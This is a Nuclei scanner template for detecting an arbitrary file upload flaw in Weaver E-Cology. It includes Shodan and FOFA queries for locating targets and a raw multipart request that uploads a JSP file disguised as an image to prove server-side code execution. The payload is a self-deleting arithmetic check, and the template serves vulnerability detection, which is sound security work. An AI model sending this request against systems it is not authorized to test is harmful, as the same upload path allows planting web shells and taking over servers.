weaver-ktreeuploadaction-file-upload: Weaver E-Cology KtreeUploadAction - Arbitrary File Upload

id: weaver-ktreeuploadaction-file-upload

info:
  name: Weaver E-Cology KtreeUploadAction - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    There is a file upload vulnerability in Weaver E-Cology. An attacker can upload any file through KtreeUploadAction.jsp and further exploit it.
  reference:
    - https://buaq.net/go-117479.html
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 2
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
    product: e-cology
    vendor: weaver
  tags: weaver,ecology,fileupload,intrusive,vuln

variables:
  num1: "{{rand_int(40000, 50000)}}"
  num2: "{{rand_int(40000, 50000)}}"
  result: "{{to_number(num1)*to_number(num2)}}"

http:
  - raw:
      - |
        @timeout: 20s
        POST /weaver/com.weaver.formmodel.apps.ktree.servlet.KtreeUploadAction?action=image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywgljfvib

        ------WebKitFormBoundarywgljfvib
        Content-Disposition: form-data; name="test"; filename="{{randstr}}.jsp"
        Content-Type: image/jpeg

        <%out.print({{num1}} * {{num2}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
        ------WebKitFormBoundarywgljfvib--
      - |
        @timeout: 20s
        GET {{filename}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && contains_all(body_1,'original', 'SUCCESS')"
          - "contains(body_2, '{{result}}') && status_code_2 == 200"
        condition: and

    extractors:
      - type: regex
        name: filename
        group: 1
        regex:
          - "','url':'(.*?)','title"
        internal: true
# digest: 4b0a00483046022100cb8d35a8ff6d3f23e596da053183cfa5b29c2e997d42d629f8527fd56ed5e1e2022100eb32993c34f8f95bb6e590348ccf25127d6b6483a92eefa18cccc5f9d7d13f84:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.